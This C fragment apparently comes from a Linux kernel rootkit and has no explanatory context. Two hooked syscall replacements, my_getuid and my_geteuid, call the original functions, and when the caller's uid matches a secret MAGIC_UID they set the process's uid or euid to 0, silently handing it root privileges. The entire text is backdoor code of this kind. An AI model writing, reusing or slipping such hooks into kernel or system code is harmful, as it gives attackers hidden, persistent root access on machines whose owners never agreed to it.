int my_getuid() {
   int ret;
   ret = org_getuid();
   if (ret == MAGIC_UID) {
      current->uid = 0;
      return 0;
   }
   return ret;
}

int my_geteuid() {
   int ret;
   ret = org_geteuid();
   if (ret == MAGIC_UID) {
      current->euid = 0;
      return 0;
   }
   return ret;
}